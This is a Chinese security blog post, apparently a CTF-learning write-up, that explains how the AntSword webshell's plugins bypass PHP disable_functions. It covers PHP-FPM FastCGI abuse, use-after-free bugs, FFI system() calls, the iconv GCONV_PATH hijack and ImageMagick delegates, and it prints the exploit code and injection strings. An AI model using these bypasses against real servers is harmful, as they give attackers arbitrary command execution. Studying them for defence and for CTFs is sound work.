AntSword与disable_functions(二)
本文最后更新于 1246 天前,其中的信息可能已经有所发展或是发生改变。

参考文章


4.PHP-FPM


使用条件:

  • Linux 操作系统
  • PHP-FPM
  • 存在可写的目录, 需要上传.so文件

方法原理:

关于 CGI,在上一个 Apache Mod CGI 里已经提到过了,它是将 php 解释器做成一个模块放在 Web 服务器里,当有新的动态请求进来时,Web 服务器自己去解析脚本

Fast-CGI 是对 CGI 的一个改进,但是本质上都是一样的,都是协议,它的改进主要体现在每次处理完请求后,不会 kill 掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求,提高效率;协议的分析可以参考 P神 的文章《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》

FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。
FPM按照fastcgi的协议将TCP流解析成真正的数据。

在手册里,FPM 是 PHP FastCGI 的主要实现,包含大部分对高负载网站有用的功能

在靶机的/usr/local/etc/php-fpm.d/www.conf下可以看到监听端口为 9000

Nginx + PHP-FPM 的处理流程可以参考下图,出自这里

那么协议如何通信以及字段的含义,P神已经写得很清楚了,不在这凑字数了;之所以可以用来突破 DF,就是建立在 PHP-FPM 默认通信端口 9000 暴露在公网的基础上,可以构造 Fast-CGI 协议,和 FPM 进行通信

在靶机的fastcgi_params中可以找到定义的字段

# cat fastcgi_params

fastcgi_param  QUERY_STRING       $query_string;
fastcgi_param  REQUEST_METHOD     $request_method;
fastcgi_param  CONTENT_TYPE       $content_type;
fastcgi_param  CONTENT_LENGTH     $content_length;

fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;
fastcgi_param  REQUEST_URI        $request_uri;
fastcgi_param  DOCUMENT_URI       $document_uri;
fastcgi_param  DOCUMENT_ROOT      $document_root;
fastcgi_param  SERVER_PROTOCOL    $server_protocol;
fastcgi_param  REQUEST_SCHEME     $scheme;
fastcgi_param  HTTPS              $https if_not_empty;

fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
fastcgi_param  SERVER_SOFTWARE    nginx/$nginx_version;

fastcgi_param  REMOTE_ADDR        $remote_addr;
fastcgi_param  REMOTE_PORT        $remote_port;
fastcgi_param  SERVER_ADDR        $server_addr;
fastcgi_param  SERVER_PORT        $server_port;
fastcgi_param  SERVER_NAME        $server_name;

# PHP only, required if PHP was built with --enable-force-cgi-redirect
fastcgi_param  REDIRECT_STATUS    200;

但是并不意味着只能传递以上的字段,在官方文档的配置里可以找到这部分内容

也就是说,可以传递进去'PHP_VALUE': 'auto_prepend_file = php://input''PHP_ADMIN_VALUE': 'allow_url_include = On',在执行 .php 脚本之前包含auto_prepend_file文件的内容,php://input也就是 POST 的内容,也就是 body,从而突破SCRIPT_FILENAME带来的限制

看看蚁剑是怎么做的

exploit() {
    let self = this;
    let fpm_host = '';
    let fpm_port = -1;
    let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
    if (self.form.validate()) {
      self.cell.progressOn();
      let core = self.top.core;
      let formvals = self.form.getValues();
      let phpbinary = formvals['phpbinary'];
      let webrootdir = formvals['webrootdir'];
      formvals['fpm_addr'] = formvals['fpm_addr'].toLowerCase();
      if (formvals['fpm_addr'].startsWith('unix:')) {
        fpm_host = formvals['fpm_addr'];
      } else if (formvals['fpm_addr'].startsWith('/')) {
        fpm_host = `unix://${formvals['fpm_addr']}`
      } else {
        fpm_host = formvals['fpm_addr'].split(':')[0] || '';
        fpm_port = parseInt(formvals['fpm_addr'].split(':')[1]) || 0;
      }
...
    new Promise((res, rej) => {...
    }).then((p) => {
        // 触发 payload, 会超时
        var payload = `${FastCgiClient()};
          $content="";
          $client = new Client('${fpm_host}',${fpm_port});
          $client->request(array(
            'GATEWAY_INTERFACE' => 'FastCGI/1.0',
            'REQUEST_METHOD' => 'POST',
            'SERVER_SOFTWARE' => 'php/fcgiclient',
            'REMOTE_ADDR' => '127.0.0.1',
            'REMOTE_PORT' => '9984',
            'SERVER_ADDR' => '127.0.0.1',
            'SERVER_PORT' => '80',
            'SERVER_NAME' => 'mag-tured',
            'SERVER_PROTOCOL' => 'HTTP/1.1',
            'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
            'PHP_VALUE' => 'extension=${p}',
            'PHP_ADMIN_VALUE' => 'extension=${p}',
            'CONTENT_LENGTH' => strlen($content)
            ),
            $content
          );
          sleep(1);
          echo(1);
        `;
        core.request({
          _: payload,
        }).then((response) => {

        }).catch((err) => {
          // 超时也是正常
        })
      })

依然会启动一个新的 Web Server,根据一开始界面选择的 FPM/FCGI 地址判断通信方式,找出fpm_hostfpm_port,例如靶机里用的是 TCP,也就是最后一个 else

然后调用了 payload.js 中 2-314 行的类FastCgiClient(),传入变量,可以看到在$client->request里并没有出现SCRIPT_FILENAME,而且PHP_VALUEPHP_ADMIN_VALUE设置的都是extension=ext_path

所以,蚁剑是通过攻击 PHP-FPM 加载恶意的 .so,再利用 .antproxy 转发到新开启的 Web Server 上


这两年部分 CTF 比赛里面有的题目也涉及到了 PHP-FPM 的多种利用方式,后面再学习下

5.Json Serializer UAF


使用条件:

  • Linux 操作系统
  • PHP 7.1 – all versions to date
  • PHP 7.2 < 7.2.19 (released: 30 May 2019)
  • PHP 7.3 < 7.3.6 (released: 30 May 2019)

方法原理:

参见 Bug #77843,UAF 就是 Use-After-Free,在 Json Serializer中释放后使用漏洞,因为我也不是很懂😅,但是看这篇文章的 2.2 部分还是能理解一丢丢的

蚁剑关于这部分的插件也是借鉴了这个exp()封装后也没那么复杂

  exploit() {
    let self = this;
    self.core = self.top.core;
    let binary = '/bin/sh'
    if(self.top.infodata.os.toLowerCase().startsWith('win')) {
      binary = 'cmd'
    }
    new antSword.module.terminal(self.top.opt, {
      exec: (arg = {
        bin: binary,
        cmd: ''
      }) => {
        return {
          _: JSON_Serializer_UAF(arg['bin'], arg['cmd']),
        }
      }
    });
  }

直接在 shell 下执行命令就行,但是一次不一定能成,得多试几次


6.PHP7 GC with Certain Destructors UAF


使用条件:

  • Linux 操作系统
  • PHP 7.0 – all versions to date
  • PHP 7.1 – all versions to date
  • PHP 7.2 – all versions to date
  • PHP 7.3 – all versions to date

方法原理:

参见 Bug #72530,利用的是 PHP garbage collector 程序中的堆溢出触发,GC 的机制可以到官方文档里去了解,关于回收机制和反序列化机制,可以到安全客的这两篇文章去看,有师傅已经翻译过来了


7.Backtrace UAF && 8.SplDoublyLinkedList UAC


UAF 和 UAC 这两部分不是很好懂,看别的师傅的分析文章都费劲😅,就复现一下算⚽了

Backtrace 使用条件:

  • Linux 操作系统
  • PHP 7.0 – all versions to date
  • PHP 7.1 – all versions to date
  • PHP 7.2 – all versions to date
  • PHP 7.3 < 7.3.15 (released 20 Feb 2020)
  • PHP 7.4 < 7.4.3 (released 20 Feb 2020)

Backtrace 方法原理:

指向的是 Bug #76047,利用debug_backtrace()来完成

This exploit uses a two year old bug in debug_backtrace()function. We can trick it into returning a reference to a variable that has been destroyed, causing a use-after-free vulnerability.

SplDoublyLinkedList 使用条件:

  • PHP v8.0(Alpha)
  • PHP v7.4.10 及其之前版本

SplDoublyLinkedList 方法原理:

指向 Bug #80111 ,可以参考这两篇文章:《PHP SplDoublyLinkedList中的用后释放漏洞分析》《通过UAF bypass PHP disabled functions》

SplDoublyLinkedList 双向链表库中存在一个用后释放漏洞,该漏洞将允许攻击者通过运行 PHP 代码来转义 disable_functions 限制函数。在该漏洞的帮助下,远程攻击者将能够实现 PHP 沙箱逃逸,并执行任意代码

9.利用 FFI 扩展


使用条件:

  • Linux 操作系统
  • PHP >= 7.4
  • 开启了 FFI 扩展且 ffi.enable=true

方法原理:

FFI 外部函数接口,允许在纯 PHP 中加载共享库(.DLL 或 .so)、调用 C 函数、访问 C 数据结构;之所以可以用来突破,是因为我们可以利用 FFI::cdef()声明要调用的 C 函数,然后利用 FFI 变量执行,示例中已经给出了不少

<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("id > /tmp/ffi");
echo file_get_contents("/tmp/ffi");
@unlink("/tmp/123");

蚁剑这里区分了 Win 和 Linux

exploit() {
    let self = this;
    self.core = self.top.core;
    let _precode = {
      _: `$rt = array("ffi" => extension_loaded("ffi"),
      "ffi_enable" => ini_get("ffi.enable"),
      );
      echo json_encode($rt);`
    };
    new Promise((res, rej) => {
      self.core
        .request(_precode)
        .then((_ret) => {
          let _res = antSword.unxss(_ret['text']);
          self.infodata = Object.assign(self.infodata, JSON.parse(_res));
          self.createForm(self.cell);
          res(self.infodata);
        }).catch((err) => {
          rej(err);
        })
    }).then(info => {
      if (!info.ffi) {
        throw new Error(PHP74_FFI_LANG['err']['ffi_not_loaded']);
      }
      if (info.ffi_enable != "1") {
        throw new Error(PHP74_FFI_LANG['err']['ffi_not_enable']);
      }
    })
    .then(() => {
      if (self.top.infodata.os.toLowerCase().indexOf("win") > -1) {
        new antSword.module.terminal(self.top.opt, {
          exec: (arg = {
            bin: 'cmd',
            cmd: ''
          }) => {
            return {
              _: `$tmp = tempnam(sys_get_temp_dir(), 'as');
$cmd = "${arg['bin']} /c \\\"".@base64_decode("${Buffer.from(arg['cmd']).toString('base64')}")."\\\" > ".$tmp;
$ffi = FFI::cdef("int system(const char *command);", "msvcrt");
$ffi->system($cmd);
echo @file_get_contents($tmp);
unlink($tmp);`
            }
          }
        });
      } else {
        new antSword.module.terminal(self.top.opt, {
          exec: (arg = {
            bin: '/bin/bash',
            cmd: ''
          }) => {
            return {
              _: `$tmp = tempnam(sys_get_temp_dir(), 'as');
$cmd = "${arg['bin']} -c \\\"".@base64_decode("${Buffer.from(arg['cmd']).toString('base64')}")."\\\""." > ".$tmp." 2>&1";
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system($cmd);
echo @file_get_contents($tmp);
unlink($tmp);`
            }
          }
        });
      }
    })

在 [极客大挑战 2020]Roamphp5-FighterFightsInvincibly 里出过这个考点

<!-- $_REQUEST['fighter']($_REQUEST['fights'],$_REQUEST['invincibly']); -->

典型的create_function()执行,?fighter=create_function&fights=&invincibly=;}phpinfo();//

disable_functions=system,exec,shell_exec,passthru,proc_open,proc_close,proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport,syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept,socket_connect,stream_socket_server,stream_socket_accept,stream_socket_client,ftp_connect,ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space,disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

ffi.enable=On
ffi.preload=no value

这道题目它既没有写文件的权限,同时也不出网,一种方法是利用 popen()从管道读取结果,另外一种是调用 PHP 源码中的函数php_exec,这个应该是exec()/system()/passthru()的底层实现吧

/* {{{ php_exec
 * If type==0, only last line of output is returned (exec)
 * If type==1, all lines will be printed and last lined returned (system)
 * If type==2, all lines will be saved to given array (exec with &$array)
 * If type==3, output will be printed binary, no lines will be saved or returned (passthru)
 *
 */
PHPAPI int php_exec(int type, const char *cmd, zval *array, zval *return_value)
{
    FILE *fp;
    char *buf;
    int pclose_return;
    char *b, *d=NULL;
    php_stream *stream;
    size_t buflen, bufl = 0;
    ...
    }

所以让 type 为 3 就可以,$ffi = FFI::cdef("int php_exec(int type, char cmd);");$ffi->php_exec(3,"ls /");/


10.利用 iconv


使用条件:

  • Linux 操作系统
  • putenv
  • iconv
  • 存在可写的目录, 需要上传.so文件

方法原理:

这个相比于第一个利用LD_PRELOAD,把error_log()禁了,大部分的文章给出的原理是这篇文章,相似原理的漏洞是 CVE-2021-4034(《CVE-2021-4034 深入分析及漏洞复现》《CVE-2021-4034 pkexec再深入分析》

首先是iconv,以及iconv()iconv_open()的关系可以看这个

在 PHP 里调用iconv()及相关函数时,会到 glibc 里调用iconviconv()的第一个参数是先通过调用iconv_open()创建的,而iconv_open()函数在调用时首先会找到系统提供的gconv-modules配置文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个 .so 文件中,即gconv-modules文件提供了各个字符集的 .so 文件所在位置,之后会调用 .so 文件中的gconv()gonv_init()函数

所以思路其实就打开了,和 LD 类似,只不过这个改的是GCONV_PATH,上传gconv-modules文件,文件中指定上传的 .so 文件,然后put_env()GCONV_PATH指向gconv-modules文件,然后使用iconv触发执行

蚁剑也是这样做的,当然蚁剑也利用了php://filter伪协议,没啥问题

new Promise((res, rej) => {}
.then((p) => {
        // 触发 payload, 会超时
        var payloaddir = path.dirname(p);
        var gconvmodules_payload = `module  PAYLOAD//    INTERNAL    ../../../../../../../../../../../../../../../../../../../../../../../../../..${p.substring(0,p.length-3)}    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../../../../../../../../../../../../../../../../../../..${p.substring(0,p.length-3)}    2
`;
        var gconvmodules = Buffer.from(gconvmodules_payload).toString('base64');
        var payload = `file_put_contents("${payloaddir}/gconv-modules",base64_decode("${gconvmodules}"));
putenv("GCONV_PATH=${payloaddir}");
if(function_exists('iconv')){
  iconv("payload","UTF-8","whatever");
}else if(function_exists('iconv_strlen')){
  iconv_strlen("1","payload");
}else if(function_exists('file_get_contents')){
  @file_get_contents("php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==");
}else{
  @fopen('php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==','r');
};
echo(1);`;
        core.request({
          _: payload,
        }).then((response) => {

        }).catch((err) => {
          // 超时也是正常
        })
      })

11.ImageMagick


[0ctf Wallbreaker Easy] 这道题目学习一下

phpinfo()是可以看见imagickdisable_functions相关信息的,突破限制的原理参考 P神的文章

ImageMagick 有一个功能叫做 delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的( https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L347 )

先用 UAF 的插件打进去看了下delegates.xml | grep /bin

<delegate decode="browse" stealth="True" spawn="True" command=""xdg-open" http://www.imagemagick.org/; /bin/rm "%i""/>
  <delegate decode="cdr" command=""uniconvertor" "%i" "%o.svg"; /bin/mv "%o.svg" "%o""/>
  <delegate decode="cgm" command=""uniconvertor" "%i" "%o.svg"; /bin/mv "%o.svg" "%o""/>
  <delegate decode="doc" command=""soffice" --convert-to pdf -outdir `dirname "%i"` "%i" 2> "%u"; /bin/mv "%i.pdf" "%o""/>
  <delegate decode="docx" command=""soffice" --convert-to pdf -outdir `dirname "%i"` "%i" 2> "%u"; /bin/mv "%i.pdf" "%o""/>
  <delegate decode="dxf" command=""uniconvertor" "%i" "%o.svg"; /bin/mv "%o.svg" "%o""/>
  <delegate decode="fig" command=""uniconvertor" "%i" "%o.svg"; /bin/mv "%o.svg" "%o""/>
  <delegate decode="hpg" command=""hp2xx" -sstdout=%%stderr -m eps -f `basename "%o"` "%i";     /bin/mv -f `basename "%o"` "%o""/>
  <delegate decode="hpgl" command=""hp2xx" -sstdout=%%stderr -m eps -f `basename "%o"` "%i";     /bin/mv -f `basename "%o"` "%o""/>
  <delegate decode="jxr" command="/bin/mv "%i" "%i.jxr"; "JxrDecApp" -i "%i.jxr" -o "%o.bmp" -c 0; /bin/mv "%i.jxr" "%i"; /bin/mv "%o.bmp" "%o""/>
  <delegate decode="odt" command=""soffice" --convert-to pdf -outdir `dirname "%i"` "%i" 2> "%u"; /bin/mv "%i.pdf" "%o""/>
  <delegate decode="bmp" encode="jxr" command="/bin/mv "%i" "%i.bmp"; "JxrEncApp" -i "%i.bmp" -o "%o.jxr"; /bin/mv "%i.bmp" "%i"; /bin/mv "%o.jxr" "%o""/>
  <delegate decode="bmp" encode="wdp" command="/bin/mv "%i" "%i.bmp"; "JxrEncApp" -i "%i.bmp" -o "%o.jxr"; /bin/mv "%i.bmp" "%i"; /bin/mv "%o.jxr" "%o""/>
  <delegate decode="ppt" command=""soffice" --convert-to pdf -outdir `dirname "%i"` "%i" 2> "%u"; /bin/mv "%i.pdf" "%o""/>
  <delegate decode="pptx" command=""soffice" --convert-to pdf -outdir `dirname "%i"` "%i" 2> "%u"; /bin/mv "%i.pdf" "%o""/>
  <delegate decode="wdp" command="/bin/mv "%i" "%i.jxr"; "JxrDecApp" -i "%i.jxr" -o "%o.bmp"; /bin/mv "%i.jxr" "%i"; /bin/mv "%o.bmp" "%o""/>
  <delegate decode="xls" command=""soffice" --convert-to pdf -outdir `dirname "%i"` "%i" 2> "%u"; /bin/mv "%i.pdf" "%o""/>
  <delegate decode="xlsx" command=""soffice" --convert-to pdf -outdir `dirname "%i"` "%i" 2> "%u"; /bin/mv "%i.pdf" "%o""/>

wp 里面写的原理是利用这类调用内部命令/bin/mv的转换,触发新进程的产生, 并通过修改 LD_PRELOAD 的方式来执行任意系统命令

<?php

$a=new Imagick();
$a->readImage('123.png');
$a->writeImage('sad.wdp');  //触发新进程

?>

利用链就是在 /tmp/XXX 目录下写入 .so,调用putenv()设置路径,最后new Imagick()->writeImage(xxx.wdp);完成执行

再看下 CVE 那边的处理,是利用了 https 的委托

<delegate decode="https" command=""curl" -s -k -L -o "%o" "https:%M""/>

脚本可以参考最开始的几篇文章


12.Others


pcntl的利用也比较简单,但是我感觉一般禁用system这些,pcntl也不会放过

在蚁剑的 core 下,还有两个利用,分别是基于php_use_filterBug #54350 和基于ReflectionProperty UAFBug #79820

第二个在 [2020羊城杯] 考察过


最后,默哀🕯

网络信息安全责任重大 使命光荣

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇